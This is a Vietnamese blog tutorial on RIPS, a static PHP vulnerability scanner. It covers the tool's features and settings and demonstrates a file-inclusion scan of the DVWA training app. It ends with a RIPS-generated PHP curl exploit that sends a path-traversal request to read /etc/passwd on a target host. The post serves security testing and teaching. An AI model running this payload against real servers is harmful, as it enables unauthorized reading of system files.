1. Giới thiệu:
RIPS là công cụ dò quét tự động lỗ hổng dựa trên mã nguồn tĩnh được viết bằng PHP. RIPS chia nhỏ và phân tích cú pháp của toàn bộ source code từ đó phát hiện những hàm không an toàn (có khả năng làm rò rỉ thông tin) mà có thể bị người dùng sử dụng để khai thác thông tin.
2. Download:
– Open source: https://sourceforge.net/projects/rips-scanner/
– Yêu cầu: Web Server, php5.6, trình duyệt.
3. Tính năng:
– Phát hiện: Code Exection, Command Execution, Cross-Site Scripting (XSS), Header Injection, File Disclosure, File Inclusion, File Manipulation, LDAP Injection, SQL Injection …
– 5 chế độ cho việc debug kết quả.
– Đánh dấu những dòng code nguy hiểm có khả năng chứa lỗ hổng trong “Review Code”.
– Highlight biến trong “Review Code”.
…
4. Giao diện:
– RIPS có giao diện thân thiện, dễ sử dụng:
– “path/file”: Đường dẫn tới file hoặc folder cần quét.
– “subdirs”: quét tất cả các subdirectory
– “verbosity level”:
+ “1. User tainted only”: chỉ quét những hàm không an toàn (có nguy cơ chứa lỗ hổng) có thể bị khai thác từ phía người dùng.
+ “2. File/DB tainted +1”: chỉ nhận định xem file hay database có khả năng chứa những nguy hiểm từ input của người dùng hay không.
+ “3. Show Secure +1,2”: Đưa ra thông báo các hàm có nguy cơ chứa lỗ hổng nhưng đã được bảo mật (điều này quan trọng trong việc phát hiện những hàm thiếu bảo mật, thỉnh thoảng sẽ rất khó phát hiện ra những hàm này dựa trên việc phân tích code tĩnh).
+ “4. Untainted +1,2,3”: Đưa ra thêm thông tin về những thành phần mà RIPS phát hiện được trong lúc quét.
+ “5. Debug Mode”: Đưa ra tất cả các lệnh gọi những hàm có khả năng chứa lỗ hổng, tuy nhiên ở chế độ này có thể đưa ra nhiều trường hợp “false positive”.
– “vuln type”: các loại lỗ hổng bảo mật cần quét
– “code style”: phps, code-dark, ayti, …, bottom-up/top-down.
– “file”:
+ “list”: danh sách file đã quét
+ “graph”: đưa ra danh sách file đã quét dưới dạng hình ảnh đồ thị trực quan
– “User input”: đưa ra các lệnh người dùng có thể sử dụng và dòng chứa lệnh đó trong code.
– “Stats”: Thống kê kết quả lần quét gần nhất
– “Function”: liệt kê tất cả các hàm trong dữ liệu được quét.
5. Thực hành
Bài viết sử dụng Damn Vulnerable Web Application (DVWA). Đây là một mã nguồn mở cho phép thực hiện rất nhiều phép thử trên đó với nhiều mức độ khác nhau.
Download DVWA tại: https://github.com/ethicalhack3r/DVWA
Ví dụ về File Inclusion:
– Đầu tiên chúng ta nhập đường dẫn đến file chứa thư mục “file inclusion” của DVWA, cài đặt chế độ quét, sau khi quét sẽ cho ra kết quả như hình vẽ:
=> RIPS thống kê kết quả cho thấy đã quét 11 file và phát hiện 9 lỗi bảo mật file inclusion, thành công 4/6 lần thử, …
Bấm vào chức năng file bên trên, chọn Graph:
Ở mỗi kết quả, RIPS chỉ ra lỗ hổng bảo mật có thể tồn tại ở hàm nào, cách vá lỗi, ngoài ra RIPS cũng cung cấp một vài chức năng hữu ích như:
Trong “review code”, có thể thấy một vài dòng code có khả năng chứa lỗ hổng bảo mật sẽ được đánh dấu:
Trong “get help” chứa rất nhiều thông tin cần thiết như: Định nghĩa lỗ hổng bảo mật do hàm gây ra, mô tả về lỗ hổng này, ví dụ về lỗi, cách vá lỗi cũng như đưa ra gợi ý sử dụng những hàm an toàn hơn.
– “Generate exploit”: tùy vào loại lỗ hổng đang khai thác mà điền parameter hợp lý để exploit, sau đó “Create” thì RIPS sẽ generate ra một đoạn payload PHP, đóng gói payload lại thành một module PHP, việc generate này không tự động exploit mà chỉ hỗ trợ người dùng trong việc exploit thủ công nhanh hơn (người dùng chỉ cần nhập payload trên giao diện).
Payload:
#!/usr/bin/php -f
<?php
#
# index.php curl exploit
#
//
// HTTP GET,
//
$target = $argv[1];
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_URL, "http://$target/index.php?page=../../../../../../../etc/passwd");
curl_setopt($ch, CURLOPT_HTTPGET, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, 3);
curl_setopt($ch, CURLOPT_COOKIEJAR, "/tmp/cookie_$target");
$buf = curl_exec ($ch);
curl_close($ch);
unset($ch);
echo $buf;
?>
Nguồn: Internet
Nhận xét
Đăng nhận xét